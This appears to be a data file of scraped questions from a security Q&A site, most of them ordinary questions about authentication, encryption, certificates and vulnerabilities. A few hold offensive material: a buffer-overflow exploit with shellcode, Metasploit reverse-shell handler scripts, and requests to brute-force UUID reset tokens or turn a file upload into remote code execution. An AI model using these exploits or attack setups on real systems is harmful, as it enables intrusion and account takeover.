instruction
stringlengths
24
29.9k
I tried reading few articles, however I'm not able to understand the merit of POP over Bearer token. Bearer token if lost (during transit over the wire) can give the holder of the token same privileges as the genuine owner. POP token is supposed to additional security by making sure that it has a component that is know...
Apologies if this isn't the right place to ask this. I occasionally get alerts from my Django website along these lines: Internal Server Error: /posts/specific-post/ UnboundLocalError at /posts/specific-post/ local variable 'comment_form' referenced before assignment HEAD requests are triggering these errors. This ...
I am pretty new in the security world and I am writing a procedure on how to create a memory image of an infected machine for forensics. The problem is that the machine does not have the tools for memory imaging before getting infecting. When infected, an incident responder must somehow install the tools to dump the me...
There is a web application that can upload HTML files and also download the uploaded file. When I upload an HTML file containing the script tag and download it, the response is as follows. HTTP/1.1 200 Date: Fri, 02 Jul 2021 01:11:11 GMT Content-Type: text/html Content-Length: 39 Connection: close Server: nginx/1.14.2 ...
I have a question relating to implementing encryption of data at rest. This is possibly more suited to another stackexchange site, so please let me know where would be better to post if I'm a little off base. My system has an NVME drive with OPAL 2.0 hardware encryption and a TPM 2.0 module. I am running Ubuntu 20.04 w...
I am studying spanning tree protocol attacks and I would like to understand a thing. The root is on the "top" of the tree, how can we exploit this to put in place an attack? We can, in some way, become the root, but what privileges would we get doing this? I don't get if the root can read all the packets, because I tho...
My company sends around 1M emails per month through various providers (Sendgrid etc.). One of emails we send is a "sign up" email, which contains a link for a user to finish registering their account. This morning around 5:21am we sent a batch of around 200 to a company in CA. Within a minute our system logged 200 erro...
I have seen dozens of client-side captcha verification on github and considering it is just a matter of time to make it totally useless, what are the purposes of these? Are there any justifications that I don't see? Maybe, the only thing I can think of is to only send the hash of the captcha to the client-side but I co...
When trying to go to https://www.pfizerpapconnect.com, the Firefox web browser claims there is a "Potential Security Risk" and pops up a page recommending to not proceed. Is there a real security issue with this site, and if so, what is it?
I use OpenWrt and by default all outgoing traffic is tunneled through Wireguard VPN endpoint (provider from the list of privacytools.io recommendations). Often I get an "Access Denied" or the page does not load (timeout). Famous local sites, which block legal VPNs (example Zalando). As a workaround I use the integrate...
Consider an electronic voting system with two goals: (1) ensure that the vote of each voter is correctly counted, and (2) ensure that no voter can create a proof of his/her/their vote. The reasoning for (1) is to ensure that the intent of majority is respected, and the reasoning for (2) is to curb the selling of votes....
I am planning to use a self hosted (Linux based) email server. However, the server will be on hosting providers machine. The hosting providers will have access to the physical machine. In that case, can they access the emails? If so, how can I protect my emails?
I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error: Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused Exploit completed but no session was created. I even tried turning off the firewall and...
I read How secure are most FDE implementations? What are the disadvantage of only encrypting the HDD compared to FDE with secure boot. If I encrypt a disk in a running server, and someone gain access to the machine (because login to the machine was not hardened enough), can that person steal my data? Is asking for auth...
Regarding the newly discovered vulnerability PrintNightmare CVE-2021-34527 that has existed for years without being discovered, currently affecting almost all versions of Windows, server and workstation alike, and for which there is no patch as of the time of this writing July 3rd 2021, the best recommendation currentl...
I've read other some articles (including this: https://medium.com/@technospace/tls-handshake-under-the-hood-79d20c0020de) and similar questions but none exactly like this hypothetical scenario. What if there is a "man in the middle" between the client and the certification authority and the same MITM is also between Cl...
I set up Thunderbird to use PGP a while ago, so I can sign and decrypt messages now. But I have forgotten my private passphrase for my private key, but since Thunderbird can do it anyway, it has it stored somewhere. How can I get it? I already know that the password, with which encrypted-openpgp-passphrase.txt – the ...
Assuming I use AWS to host a service with quite sensitive personal data, is it possible to hide traffic and stored data from amazon? I would assume the answer is no. I think I need to provide all the keys, especially the private SSL-key, to amazon so that the service can run in the first place. This means that amazon c...
I generally wanted to know how a certificate works, I mean a certificate distributed by the Certificate Authority to identify the identity of a sender. How does it work? Can you use simple and easily understandable words? Thank you
I read this blog (cached version) (and the related cached tweet) about replacing TCP/IP with blockchain. Tweet: The Internet has a serious fundamental flaw: the transmission control protocol/internet protocol (TCP/IP)—the primary engine underpinning the Internet—is less secure. Is #blockchain the solution we need to e...
I believe it is fairly common knowledge that there are security and privacy concerns regards WhatsApp. The EFF, Ed Snowden, and many others, have expressed concern about the apps' integrity. You don't need to be a conspiracy nut or a guy with a tinfoil hat, in order to enjoy basic privacy. I have been trying to delete ...
When using Google SSO, does this count as only one factor of authentication or as many factors as I use for my google account? If it counts as a single factor, would this be "something I have" in the sense that I have access to this account?
I'm digging into UUIDv1 generation and bruteforce, in order to take control of a password reset feature of a website which sends a link with a get parameter token=UUIDvX. I'm trying to identify which version of UUID hashing algorithm the server uses. Being able to generate the right UUID would lead to any registered ac...
I work in gov organization and recently I learned they set up a MITM, by installing some certificates - so when I visit any web site and then check the certificate info it shows the certificate installed by my organization. My question is, will using Tor, protect me in such scenario, e.g. if I visit Facebook, will my p...
Question is for transfer encrypted data between two services (Like HTTP, GRPC or etc...) Can I transfer IV and AuthTag in plain, Is this approach secure? I have sample code in Node.js and I'm not crypto expert. See the code for more info: const crypto = require('crypto'); class AES { static encrypt(string, key) { ...
I'm trying to simulate a race condition in Go to replicate a time-of-check time-of-use vulnerability (https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use). The code below takes in a user-provided fruit and searches for it in an array. If the fruit is found it returns the name of the fruit: package main func che...
According to this Dr. Web article: Doctor Web’s malware analysts have discovered malicious apps on Google Play that steal Facebook users’ logins and passwords. These stealer trojans were spread as harmless software and were installed more than 5,856,010 times... The applications were fully functional, which was suppos...
Can I secure a website using a simple whitelist system? My idea is to port forward a website www.example.com on my pc. To secure it, I want to add a whitelist system. It will work like this: When the server receives a request, it will read a file containing a list of allowed IPs and check if it contains the requester's...
I've noticed a lot of weird logs in /var/log on my server. For example: cd /var/log/DIST00000001ARGC00000005ARGV00000002ccARGV00000002-cARGV00000006nmap.cARGV00000002-oARGV00000006nmap.oDOTI00000000 sudo cat user.log Jun 30 16:48:08 DIST00000001ARGC00000005ARGV00000002ccARGV00000002-cARGV00000006nmap.cARGV00000002-oAR...
I have been using cryptsetup for a while now and just found out about the option 'luksDump'. I am used to similar tools like veracrypt and truecrypt and I am a bit shocked that all these vulnerable data are so easily accessible. If I remember it right, vera- and truecrypt made it impossible to find out cipher and hash ...
I was reading this article about session tokens from Mozilla's Developer website. Historically, I've always assumed that a session token set with a blank expiry (or one set to zero) would expire at the end of a session. This seems to be backed up by John Wu's answer here: https://security.stackexchange.com/a/47419/7853...
These tools work based on "hashes", but they seem to not mean that in traditional sense, since they can also extract hashes from a variety of formats like kdbx and zip. I doubt all these formats also keep a hash of the password inside themselves that the tool extracts and then tries to crack. So like what does hash mea...
Here is my exploit: junk = b'A' * 1032 ​ eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives shellcode = b"" shellcode += b"\x33\xc0" # xor eax, eax shellcode += b"\x50" # push eax shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe" shellcode += b"\x68\x63\x61\x6C\x63" # push "cal...
I have an embedded device running Armbian which I was able to get the drive image from. The entry in /etc/shadow combined with /etc/passwd after unshadowing is this: root:$6$TV6ML2bG$TncnN/adtU9xaQs/OpmkWzpMIGuYexLf.timEI28P5RIPn5xjKRu.aibfgss2OdXoyXK.Dhh3yQPAsRHQLx.1/:0:0:root:/root:/bin/bash I am just learning JtR n...
I did some research about how secure and private SMS messages are. Providers and governments can see these SMS messages in plaintext, but what is weird is that these messages are not encrypted in transit. According to my knowledge, that makes the service vulnerable to MiTM attacks: a semi-skilled hacker who knows my lo...
Why service providers didn't implement something like SSL to make SMS more secure and reliable in multiple scenarios ? I did ask a question about why SMS is used as a way of verification while it is not encrypted in transit.
During an engagement, I found a potential XSS vulnerability on a page. There is an HTML form that is submitted to this page (POST method) and sent parameters are reflected (without encoding) in the response. If I use a proxy tool (e.g. Burp Suite) and change my request POST body from: param1=val1&param2=val2&param3=val...
We have cloud based digital platform at work and we have the ability to connect to our cloud based ERP system. The ERP provider has given 2 options to connect - 1) a connector which uses HTTPS or VPN. I am trying to make a decision as to which is the most secure and easy to implement. Both TLS connection and VPN provid...
When you log into a website, it stores cookies that let your browser access the website without having the password. Given that some sites support yubikey for login, does it mean that the yubikey actively signs requests from my computer, or it just does a login and stores cookies? In the first option, it would be bette...
Why is it necessary to store operating system passwords hashed? From what I've learned, passwords are stored on the hard drive/SSD in /etc/shadow. However, if a malicious agent was able to get access to this file, doesn't that mean they can potentially access all the user's other files? If so, what is the point of crac...
No idea where to begin, I would like to ask for tips, direction and approaches when it comes to performing such a web testing. Source code analysis is not within scope for this test. I intend to run scanning tools (nmap, nikto, etc) on the website's server.
Assume I have a password manager that stores the credentials for a login to a 3rd party service. In this credentials the username, password and a TOTP-seed is stored and the current TOTP-token is displayed at all times and refreshed accordingly (Note that such a password manager does not exist). Is authenticating to th...
I work a lot with OWASP Zap, and I am very satisfied. Nevertheless, I have the problem with all my scans that I always have false positives in the PiiScan area. Among other things, Googlemaps numbers, or product numbers are recognized as Visa card numbers. I have not seen any way to prevent this, but I am looking for a...
As a developer, I ask how to approach security concerns regarding permissions of a binary which needs access to resources only available to root users. For example, let's think of a simple tool which creates a virtual device or executes commands which may not be executed by the user opening that application. The easies...
I understand that servers might want to prevent bad origins somehow stealing certain data and crafting a request to request some authorized data from a different domain. Such as using "Authorization" header etc., what is the use of Access-Control-Allow-Headers for unauthenticated endpoints? In such cases, shouldn't ser...
I recently came across this viral post on Facebook: As of the time of this question, the post has more than 37,000 likes, 33,000 shares and 1.5k comments. Most of the comments are positive, interspersed by the occasional techie questioning why someone would need such a powerful PC to request nudes to be taken down fr...
If your microservice architecture responds with error codes revealing which microservice had an error, doesn’t this reveal to the caller information on how your microservice architecture is designed? Caller -> Service A -> Service B -> Service B error Error codes: ServiceA-000001 ServiceB-000001 ServiceC-000001 So if ...
My question is how to detect ADB connection or unusual user activity in shell on the Android devices. I have an Android 5.1.1 device with Wi-Fi hotspot enabled and also with opened ADB port, similar to the setup in this challenge, except that I do not have a web server running on it, just ADB is directly open. Now I wa...
I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available. I have tried this https://www.pentestpartners.com/security-blog/scripting-metasploit-to-exploit-a-group-of-hosts-a-how-to/ My iter_rc.rc file is like this <ruby> host...
In the AH mode for IPsec, we include the IP header to ensure data origin authentication, and in the ESP, we exclude the IP header. what are the security properties we lose by not authenticating the IP address in the ESP mode? What security properties will we lose if we exclude port number authentication from ESP mode?...
I am developing a web application that is integrating with a third-party that does not have OAuth capability, but instead use a variety of account IDs and keys to generate tokens for API calls. On the Front End, we have created a text field to paste the account key file content that is generated by the customer on thei...
I have to create an API that it only allowed to be consumed by one third party company we are working with. Unfortunately, the API has to be connected to the internet. For authentication, the other company is going to pass a password in each request they make to the API. How long should the password be to eliminate bru...
We have some equipment that is linked to PC's. These PC's acquire data from the equipment that they send to a server through an internal network. Furthermore these PC's are used to mediate instructions from network coupled PC's to the equipment. Therefore, they are named acquisition servers. The equipment has no standa...
I am working with C++ processes on a linux (CentOS 8) environment. These processes should be able to access an encrypted file on the system. Where should I store the password for this encrypted file? My only idea is to hardcode it into the C++ source code, but I doubt this solution is secure.
Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected computer running Windows is at risk. This can't possibly be true, can it? My question is: does the PrintNightmare RCE (CVE-20...
Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly created file. val file = new File("uploads/image.$ext") Files.write(file.toPath, bytes)
I have been reading about TPM for months and one thing seems to be odd. I noticed that TPM firmware can be updated in certain brands. Like "Lenovo" or this link which links a bunch of brands. Now from what I have read TPM is supposed to be hardcoded and on-chip, but when it has firmware updates like that, it partially ...
for context: my machine was hacked by junglesec today, so all user files are encrypted. I looked at htop and saw this. How can one hide process activity from htop (and top) and how can I find out which process is causing it?
I'm in the process of building a kinda odd mechanism to "bypass" authentication. Which of course I know its weird, but many business requirements are weird... So it is a design that derives from business decisions that state that user authentication is an impediment, also the code on the client's backed must not be int...
From my understanding, a VPN kill switch modifies routing to make sure that all traffic must be sent through the VPN's tunnel interface, and otherwise internet access is restricted. On desktop applications it seems quite obvious how this could be implemented since apps offering these sorts of services would have admini...
I understand at an elementary level how data breaches tend to be distributed, starting with friends of the attacker/discoverer and then being distributed via forums, paste bins, etc. However I was wondering is there a common location/forum/method that this occurs on. I am not looking for data breach lists myself, but f...
Verifying a string of long numbers is hard (think of cert public key). I remember there is a tool to visualize this randomness into a "randomness graph" but I cannot recall what is the graph called and how to generate it. So, the question: What is the name of the graph used to help visualize randomness? How to generat...
I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has a CVE identifier) in one of its function called foo(), and I include this dependency A in my application. If my code doe...
When I ask someone about Linux, people always say it's really safe and this OS doesn't collect your data and these are not spy operating systems. When I ask them "how?" they say, "because it's open source." In wiki, open source means: Open source is source code that is made freely available for possible modification a...
imagine the following problem: As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure. I would like to check if it validates the JWT signature, uses the nonce etc. While I can do these tests all manually, I am sure that there is also an automated way, but I can't find it via google...
I use keepass to store my passwords and the keepassdx app to access that database on my Android phone. It offers the option to allow me to unlock with a fingerprint, if I set up fingerprint Auth on my phone. Setting up fingerprints obviously means taking a scan, and I must assume that that scan, or some version of it, ...
From a security standpoint, which OpenVPN cipher should I use? I read online that AES-256-GCM is the most secure for OpenVPN but I prefer to have a confirmation.
I have been using my android phone as a wifi hot spot for my laptop over the last few days so I can access the internet. I've been in a new location with no other personal devices nearby, and the hot spot has been on for extended hours over several days. I had WPA2 PSK security enabled for the hot spot. Today I noticed...
I am using the following extensions on google chrome for complete privacy and to avoid tracking: VPN Extension to hide actual IP WebRTC prevent extension for disabling WebRTC What other extensions should I use? I cannot use TOR instead of VPN as many websites don't allow access via TOR.
I'm using JWTs as part of an URL in order to direct a user to a specific site. I could have just used a UUID, but it's nice to have an expiry date in the link, as well as knowing whom the link is created for. This has been working great, but when I email such an URL to someone with Outlook (maybe a specific version of ...
I know there's no 100% in security. But for business users (yes that is a range of use cases), if they are on Windows 10, they have My Documents pointing to a OneDrive (or GDrive, DropBox, Box, etc.) share, and that share has versioning turned on - then would recovering from Ransomware be pretty fast and easy? In case ...
Do X.509 certificate serial numbers change when a certificate is renewed? I understand the thumbprint changes, but I am unsure about the serial number. I suspect so since it's a new cert, but if you can provide clarity and links to documentation, I would appreciate it.
My university was hit by ransomware. I wanted to know if it was possible that Thunderbird emails were also affected. (Mails saved in the cache, encrypted or not, etc.)
Question I would like to asymmetrically encrypt messages with a public key that I have been given in advance. How can I go about doing that? Some example code in C# would be much appreciated. What do I need it for? Our service receives SMS message bundles through a REST API and delivers the message text to the end user...
I'm working on a API which is serving content based on user requests. What I'd like to achieve is as follows: Having a constant key stored both on the server and the client machine (as a means of identifying a specific user) I'd like to be able to generate a hash with a one-way cryptographic algorithm on the client sid...
I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS attack, however I want something more. I'm looking to perform Remote Code Execution (RCE), I have tried uploading all kinds...
I have to create an API that authenticates a request by checking if the token in the request is equal to the valid token stored in our database. Initially I used the == operator to compare the two tokens, but then I learned that this was vulnerable to a timing attack. So I wrote the below code in C# to do the token com...
I'm confused how the CA server helps with the digital signature and the PKI workflow. Here's an example topology: A and B are the 2 devices using PKI to authenticate each other for VPN, and then there is a CA server (will refer to it as CA). This is my understanding: Step 1: Generating CA certificate request security p...
I am building an authentication service with python and flask and I use MongoDB to store user details. When a user sends a request on an API that enforce the authentication service, I get the token from the request, check if the JWT is valid (I use RSA256), check if the exp is valid, and ultimately I retrieve the auth ...
I know that u2f keys are designed as authentication factors, but I think it would not be far fetched to also add a protocol that the user can use to encrypt or decrypt data on the client-side. This would relieve the user from remembering a client-side encryption key and make client-side key management easier, but loosi...
I have a number of bank cards and I keep forgetting the PIN-codes, in particular because most of them I use rarely. I came up with an idea - for each card: add a secret PIN that I remember to the PIN of the card and write it on the card. Whenever I need it, I can just subtract the 'secret' pin. Does this approach have ...
I am designing a login system for my React app. All user data must be protected in case of a db leak. I only store encrypted data, with the exception of the email. To encrypt I need a key and I don't have a place to store keys and storing them in the db would be dumb. So I'm making keys out of the user's email and pass...
Are the authentication strength of the different authentication factor categories (knowledge-factors, posession-factors and inherence-factors) ranked in any way, like "inheritance-factors are stronger than posession-factors"? I would assume that inheritance-factors are the strongest, but they also can not be changed an...
I read recently about next generation firewalls that use deep-packet-inspection, intrusion-prevention and something the manufacturers call encrypted-traffic-inspection, encrypted-traffic-analytics. The manufacturers claim the encrypted traffic inspection/analysis in nextgen firewalls is made without decrypting the traf...
I have somebody's public PGP key imported on my laptop (Debian Linux), but not their private key. When I encrypt a file to them using their public key, I can then decrypt it again even though I don't have their private key. Through experimentation, it appears that my secret key also works to decrypt the file, even th...
I am trying to create a reverse-proxy web application using Flask. I don't really know weather to call it reverse-proxy or not but my idea is that the web app gets a URL from ../proxy/<URL>, goes to URL like it got example.com from ../proxy/example.com, and now takes the HTML (Page source code) from that website and us...
John the Ripper is unable to crack my SHA1 hashed password: john --wordlist=rockyou.txt testing.txt Whenever I do this in Kali Linux, I get this response: Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=2 Then, when I try to show the password wit...
When we scan a domain name such as www.nmap.org, Question 1: We are actually scanning the server that the website is hosted on, right? Question 2: If there is another domain hosted on the same server, would the results of the scan be the same?
Recently I discovered there are malicious emails (with HTM attachment) in the Sent folder of an @hotmail account to some unknown recipients in (Outlook app in iPad). I immediately proceed to change the password and enabled 2FA to block unauthorized access. It was found that more than 100 of emails sent within a day and...
I have two email boxes: The first one is my main email box in Gmail and the second one is in my website hosting company by Thunderbird which I access from my website hosting manager (WHM) which is Cpanel. To prevent myself of checking both my email boxes each time anew non automatically I contemplate using a Gmail fetc...
When using gpg 2.2.28 & gpg-agent to decrypt a ciphertext that has been encrypted for (any one of) multiple 'receivers', the default behaviour is that it tries to find and use private keys in some deterministic (governed by what, I'm not sure) order. If the private keys are held on cards, and the public keys are in the...
I am connecting to a third party which authenticates with OAuth2. Once the user has logged in, I want to store the access & refresh tokens for the user. Which is more secure & proper - to save the refresh to the database & foreign key it to the user, or to store it as a cookie?
I'm trying to run the following script based on this blog. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc /root/Desktop/folder/met_cmd_file setg lhost 192.168.0.90 setg lport 4444 set ExitOnSession false exploit -j use exploit/windows/rdp/rdp...
On GitHub, anyone can push a commit with your name and email. To combat this, you can gpg sign your commits. However, in the scenario that the private key is exposed, the only option GitHub offers is to remove the associated public key. Unfortunately, this also marks all your past commits as unverified. At this point, ...
I have numeric IDs that I would like to use in filenames. So for example with IDs 1, 2, 3 we would have 1.jpg, 2.jpg, and 3.jpg Now the problem is that clearly a user could just guess 4.jpg and view something they shouldn't be able to find. Previously we have used UUIDs for this purpose but in this particular case I th...
I would like to understand a point. When I use fiddler it creates a local proxy to analyze the traffic, so far everything is fine. However when Fiddler is launched and I browse an HTTPS site the certificate on the browser is "replaced" by the one generated by Fiddler, marked as DO NOT TRUST. I would like to understand...
How do I make sure that this content is not hacked by anyone ? Do I encrypt every file and store the key before my customers download their unique copy?
I have a .net winforms application used in LAN by the company's employees, and it should access a network share to copy files to it. The share has credentials that should not be known to end users. What is the best practice to provide the credentials when accessing the share without hard-coding or exposing them to end ...
I can open any blocked service in the country I live in via Virtual Private Network (VPN) or proxy servers,so why do governments block services? edit: I think governments do so to make it harder to access the service.. is that the only reason?
When a client makes the first request, I send a session ID cookie generated by the server as a string of 64 random bytes using getrandom(2) or /dev/urandom, stored in the database, with the flags HttpOnly, Secure and SameSite=Strict set. Additionally, the server sends a Content-Security-Policy header with the value def...